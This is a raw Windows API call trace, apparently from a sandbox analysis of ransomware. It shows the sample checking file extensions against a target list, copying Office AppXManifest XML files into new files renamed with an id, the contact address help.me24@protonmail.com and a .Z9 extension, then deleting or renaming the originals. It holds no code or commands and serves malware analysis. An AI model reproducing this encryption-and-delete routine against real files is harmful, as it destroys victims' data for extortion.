	[0080.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104
	[0080.162] lstrlenW (lpString=".zip") returned 4
	[0080.162] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0080.162] lstrlenW (lpString=".rar") returned 4
	[0080.162] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0080.162] lstrlenW (lpString=".bz2") returned 4
	[0080.162] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0080.162] lstrlenW (lpString=".7z") returned 3
	[0080.162] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0080.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104
	[0080.162] lstrlenW (lpString=".dbf") returned 4
	[0080.162] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0080.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104
	[0080.163] lstrlenW (lpString=".1cd") returned 4
	[0080.163] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0080.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104
	[0080.163] lstrlenW (lpString=".jpg") returned 4
	[0080.163] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0080.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104
	[0080.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104
	[0080.163] lstrlenW (lpString=".doc") returned 4
	[0080.163] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0080.163] lstrlenW (lpString=".docx") returned 5
	[0080.163] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0080.163] lstrlenW (lpString=".pdf") returned 4
	[0080.163] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0080.163] lstrlenW (lpString=".xls") returned 4
	[0080.163] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0080.163] lstrlenW (lpString=".xlsx") returned 5
	[0080.163] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0080.163] lstrlenW (lpString=".ppt") returned 4
	[0080.163] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0080.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104
	[0080.163] lstrlenW (lpString=".zip") returned 4
	[0080.163] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0080.163] lstrlenW (lpString=".rar") returned 4
	[0080.163] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0080.163] lstrlenW (lpString=".bz2") returned 4
	[0080.163] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0080.163] lstrlenW (lpString=".7z") returned 3
	[0080.163] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0080.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104
	[0080.163] lstrlenW (lpString=".dbf") returned 4
	[0080.163] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0080.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104
	[0080.163] lstrlenW (lpString=".1cd") returned 4
	[0080.164] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0080.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104
	[0080.164] lstrlenW (lpString=".jpg") returned 4
	[0080.164] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0080.164] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0080.164] lstrlenW (lpString="AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 53
	[0080.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0080.164] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=1261) returned 1
	[0080.164] CloseHandle (hObject=0x2bc) returned 1
	[0080.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0080.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0080.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0080.165] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.165] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0080.165] GetLastError () returned 0x0
	[0080.165] ReadFile (in: hFile=0x2bc, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0080.167] WriteFile (in: hFile=0x374, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0080.168] ReadFile (in: hFile=0x2bc, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.168] WriteFile (in: hFile=0x374, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x13e, lpOverlapped=0x0) returned 1
	[0080.168] SetEndOfFile (hFile=0x374) returned 1
	[0080.169] CloseHandle (hObject=0x374) returned 1
	[0080.169] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.170] SetEndOfFile (hFile=0x2bc) returned 1
	[0080.170] CloseHandle (hObject=0x2bc) returned 1
	[0080.170] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0080.171] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml")) returned 1
	[0080.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104
	[0080.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104
	[0080.171] lstrlenW (lpString=".doc") returned 4
	[0080.171] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0080.171] lstrlenW (lpString=".docx") returned 5
	[0080.171] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0080.171] lstrlenW (lpString=".pdf") returned 4
	[0080.171] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0080.171] lstrlenW (lpString=".xls") returned 4
	[0080.171] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0080.171] lstrlenW (lpString=".xlsx") returned 5
	[0080.171] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0080.171] lstrlenW (lpString=".ppt") returned 4
	[0080.171] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0080.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104
	[0080.171] lstrlenW (lpString=".zip") returned 4
	[0080.171] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0080.171] lstrlenW (lpString=".rar") returned 4
	[0080.171] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0080.171] lstrlenW (lpString=".bz2") returned 4
	[0080.171] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0080.172] lstrlenW (lpString=".7z") returned 3
	[0080.172] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0080.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104
	[0080.172] lstrlenW (lpString=".dbf") returned 4
	[0080.172] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0080.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104
	[0080.172] lstrlenW (lpString=".1cd") returned 4
	[0080.172] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0080.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104
	[0080.172] lstrlenW (lpString=".jpg") returned 4
	[0080.172] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0080.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104
	[0080.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104
	[0080.172] lstrlenW (lpString=".doc") returned 4
	[0080.172] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0080.172] lstrlenW (lpString=".docx") returned 5
	[0080.172] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0080.172] lstrlenW (lpString=".pdf") returned 4
	[0080.172] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0080.172] lstrlenW (lpString=".xls") returned 4
	[0080.172] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0080.172] lstrlenW (lpString=".xlsx") returned 5
	[0080.172] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0080.172] lstrlenW (lpString=".ppt") returned 4
	[0080.172] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0080.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104
	[0080.172] lstrlenW (lpString=".zip") returned 4
	[0080.172] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0080.173] lstrlenW (lpString=".rar") returned 4
	[0080.173] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0080.173] lstrlenW (lpString=".bz2") returned 4
	[0080.173] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0080.173] lstrlenW (lpString=".7z") returned 3
	[0080.173] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0080.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104
	[0080.173] lstrlenW (lpString=".dbf") returned 4
	[0080.173] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0080.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104
	[0080.173] lstrlenW (lpString=".1cd") returned 4
	[0080.173] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0080.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104
	[0080.173] lstrlenW (lpString=".jpg") returned 4
	[0080.173] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0080.173] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0080.173] lstrlenW (lpString="AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 53
	[0080.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0080.173] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=3375) returned 1
	[0080.173] CloseHandle (hObject=0x2bc) returned 1
	[0080.173] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0080.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0080.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0080.174] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.174] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0080.174] GetLastError () returned 0x0
	[0080.174] ReadFile (in: hFile=0x2bc, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0xd2f, lpOverlapped=0x0) returned 1
	[0080.176] WriteFile (in: hFile=0x374, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xd30, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xd30, lpOverlapped=0x0) returned 1
	[0080.176] ReadFile (in: hFile=0x2bc, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.177] WriteFile (in: hFile=0x374, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x13e, lpOverlapped=0x0) returned 1
	[0080.177] SetEndOfFile (hFile=0x374) returned 1
	[0080.177] CloseHandle (hObject=0x374) returned 1
	[0080.178] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.178] SetEndOfFile (hFile=0x2bc) returned 1
	[0080.178] CloseHandle (hObject=0x2bc) returned 1
	[0080.178] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0080.179] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml")) returned 1
	[0080.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104
	[0080.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104
	[0080.179] lstrlenW (lpString=".doc") returned 4
	[0080.179] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0080.179] lstrlenW (lpString=".docx") returned 5
	[0080.179] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0080.179] lstrlenW (lpString=".pdf") returned 4
	[0080.179] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0080.179] lstrlenW (lpString=".xls") returned 4
	[0080.179] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0080.179] lstrlenW (lpString=".xlsx") returned 5
	[0080.179] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0080.179] lstrlenW (lpString=".ppt") returned 4
	[0080.179] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0080.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104
	[0080.179] lstrlenW (lpString=".zip") returned 4
	[0080.179] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0080.179] lstrlenW (lpString=".rar") returned 4
	[0080.179] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0080.180] lstrlenW (lpString=".bz2") returned 4
	[0080.180] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0080.180] lstrlenW (lpString=".7z") returned 3
	[0080.180] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0080.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104
	[0080.180] lstrlenW (lpString=".dbf") returned 4
	[0080.180] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0080.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104
	[0080.180] lstrlenW (lpString=".1cd") returned 4
	[0080.180] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0080.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104
	[0080.180] lstrlenW (lpString=".jpg") returned 4
	[0080.180] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0080.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104
	[0080.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104
	[0080.180] lstrlenW (lpString=".doc") returned 4
	[0080.180] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0080.180] lstrlenW (lpString=".docx") returned 5
	[0080.180] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0080.180] lstrlenW (lpString=".pdf") returned 4
	[0080.180] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0080.180] lstrlenW (lpString=".xls") returned 4
	[0080.180] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0080.180] lstrlenW (lpString=".xlsx") returned 5
	[0080.180] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0080.180] lstrlenW (lpString=".ppt") returned 4
	[0080.180] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0080.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104
	[0080.180] lstrlenW (lpString=".zip") returned 4
	[0080.180] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0080.180] lstrlenW (lpString=".rar") returned 4
	[0080.180] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0080.180] lstrlenW (lpString=".bz2") returned 4
	[0080.180] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0080.181] lstrlenW (lpString=".7z") returned 3
	[0080.181] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0080.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104
	[0080.181] lstrlenW (lpString=".dbf") returned 4
	[0080.181] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0080.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104
	[0080.181] lstrlenW (lpString=".1cd") returned 4
	[0080.181] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0080.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104
	[0080.181] lstrlenW (lpString=".jpg") returned 4
	[0080.181] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0080.181] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0080.181] lstrlenW (lpString="AppXManifest.common.xml") returned 23
	[0080.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0080.181] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=2173046) returned 1
	[0080.182] CloseHandle (hObject=0x2bc) returned 1
	[0080.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml")) returned 0x220
	[0080.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0080.182] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 1
	[0080.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0080.182] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc64 | out: lpNewFilePointer=0x0) returned 1
	[0080.182] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc24 | out: lpNewFilePointer=0x0) returned 1
	[0080.182] ReadFile (in: hFile=0x2bc, lpBuffer=0x2fa4058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2acfc30, lpOverlapped=0x0 | out: lpBuffer=0x2fa4058*, lpNumberOfBytesRead=0x2acfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0080.186] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0xb0d7c, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc24 | out: lpNewFilePointer=0x0) returned 1
	[0080.186] ReadFile (in: hFile=0x2bc, lpBuffer=0x2fe4058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2acfc30, lpOverlapped=0x0 | out: lpBuffer=0x2fe4058*, lpNumberOfBytesRead=0x2acfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0080.191] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2acfc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0080.191] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x1d2876, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc24 | out: lpNewFilePointer=0x0) returned 1
	[0080.191] ReadFile (in: hFile=0x2bc, lpBuffer=0x3024058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2acfc30, lpOverlapped=0x0 | out: lpBuffer=0x3024058*, lpNumberOfBytesRead=0x2acfc30*=0x40000, lpOverlapped=0x0) returned 1
